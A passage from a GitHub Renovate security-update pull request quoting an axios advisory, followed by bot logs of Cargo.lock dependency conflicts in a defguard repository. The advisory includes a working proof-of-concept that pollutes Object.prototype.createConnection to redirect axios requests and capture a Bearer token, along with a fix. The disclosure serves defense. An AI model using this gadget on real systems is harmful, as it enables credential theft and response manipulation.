Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.

Workarounds

Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.

Original report

Summary

Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.

When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.

This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.

Impact

Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:

  • redirect the underlying socket for axios requests to attacker-controlled infrastructure
  • receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials
  • return attacker-controlled responses to the caller
  • bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere

The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.

Technical details

The HTTP adapter constructs a null-prototype request options object before calling the selected transport:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.

createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.

Reproduction

The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.

import net from 'node:net';
import http from 'node:http';
import axios from 'axios';

function listen(handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(0, '127.0.0.1', () => resolve(s));
  });
}

const legitHits = [];
const attackerHits = [];

const legit = await listen((req, res) => {
  legitHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('LEGIT');
});

const attacker = await listen((req, res) => {
  attackerHits.push({url: req.url, auth: req.headers.authorization || null});
  res.end('ATTACKER');
});

Object.prototype.createConnection = function(options, cb) {
  const sock = net.createConnection({
    host: '127.0.0.1',
    port: attacker.address().port,
  }, () => {
    if (typeof cb === 'function') cb(null, sock);
  });
  return sock;
};

const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
  headers: {Authorization: 'Bearer SECRET'},
  proxy: false,
});

console.log({
  response: res.data,
  legitHits,
  attackerHits,
});

Observed result on the current npm package:

{
  "response": "ATTACKER",
  "legitHits": [],
  "attackerHits": [
    {
      "url": "/secret",
      "auth": "Bearer SECRET"
    }
  ]
}

The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.

Versions tested

I reproduced this against:

  • axios 1.16.1 from npm
  • axios 1.17.0 from npm
  • current v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b
Fix validation

Adding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:

const options = Object.assign(Object.create(null), {
  path,
  method: method,
  headers: toByteStringHeaderObject(headers),
  agents: { http: config.httpAgent, https: config.httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
  createConnection: undefined,
});

With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.

Remediation

Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:

createConnection: undefined

I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options.


Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the [GitHub Advisory Database](https://

❗ Important

✂ PR body was truncated to here.

@renovate

renovate Bot commented Jul 16, 2026 •

Copy link
Copy Markdown
Author

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: Cargo.lock
    Updating crates.io index
    Updating git repository `https://github.com/DefGuard/ldap3`
error: failed to select a version for `rustls`.
    ... required by package `lettre v0.11.22`
    ... which satisfies dependency `lettre = "^0.11"` (locked to 0.11.22) of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`
versions that meet the requirements `^0.23.18` are: 0.23.45, 0.23.44, 0.23.43, 0.23.42, 0.23.41, 0.23.40, 0.23.39, 0.23.38, 0.23.37, 0.23.36, 0.23.35, 0.23.34, 0.23.33, 0.23.32, 0.23.31, 0.23.29, 0.23.28, 0.23.27, 0.23.26, 0.23.25, 0.23.24, 0.23.23, 0.23.22, 0.23.21, 0.23.20, 0.23.19, 0.23.18

all possible versions conflict with previously selected packages

  previously selected package `rustls v0.23.5`
    ... which satisfies dependency `rustls = "^0.23"` of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`

failed to select a version for `rustls` which could resolve this conflict

File name: Cargo.lock
    Updating crates.io index
error: failed to select a version for `rustls`.
    ... required by package `lettre v0.11.22`
    ... which satisfies dependency `lettre = "^0.11"` (locked to 0.11.22) of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`
versions that meet the requirements `^0.23.18` are: 0.23.45, 0.23.44, 0.23.43, 0.23.42, 0.23.41, 0.23.40, 0.23.39, 0.23.38, 0.23.37, 0.23.36, 0.23.35, 0.23.34, 0.23.33, 0.23.32, 0.23.31, 0.23.29, 0.23.28, 0.23.27, 0.23.26, 0.23.25, 0.23.24, 0.23.23, 0.23.22, 0.23.21, 0.23.20, 0.23.19, 0.23.18

all possible versions conflict with previously selected packages

  previously selected package `rustls v0.23.4`
    ... which satisfies dependency `rustls = "^0.23"` (locked to 0.23.4) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`

failed to select a version for `rustls` which could resolve this conflict

File name: Cargo.lock
    Updating crates.io index
error: failed to select a version for `rustls`.
    ... required by package `lettre v0.11.22`
    ... which satisfies dependency `lettre = "^0.11"` (locked to 0.11.22) of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`
versions that meet the requirements `^0.23.18` are: 0.23.45, 0.23.44, 0.23.43, 0.23.42, 0.23.41, 0.23.40, 0.23.39, 0.23.38, 0.23.37, 0.23.36, 0.23.35, 0.23.34, 0.23.33, 0.23.32, 0.23.31, 0.23.29, 0.23.28, 0.23.27, 0.23.26, 0.23.25, 0.23.24, 0.23.23, 0.23.22, 0.23.21, 0.23.20, 0.23.19, 0.23.18

all possible versions conflict with previously selected packages

  previously selected package `rustls v0.23.5`
    ... which satisfies dependency `rustls = "^0.23"` of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`

failed to select a version for `rustls` which could resolve this conflict

@renovate
renovate Bot force-pushed the renovate/release/2.1-security-patches branch from 68d144b to 0695595 Compare July 25, 2026 07:50
@renovate
renovate Bot force-pushed the renovate/release/2.1-security-patches branch 2 times, most recently from 6b331cc to 0009cb9 Compare September 3, 2026 01:57
@renovate
renovate Bot force-pushed the renovate/release/2.1-security-patches branch from 0009cb9 to 3c9d4df Compare September 11, 2026 00:03
@renovate
renovate Bot force-pushed the renovate/release/2.1-security-patches branch from 3c9d4df to 6ec1f0f Compare October 3, 2026 12:09
@renovate
renovate Bot force-pushed the renovate/release/2.1-security-patches branch from 6ec1f0f to b3a4093 Compare October 9, 2026 21:56
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants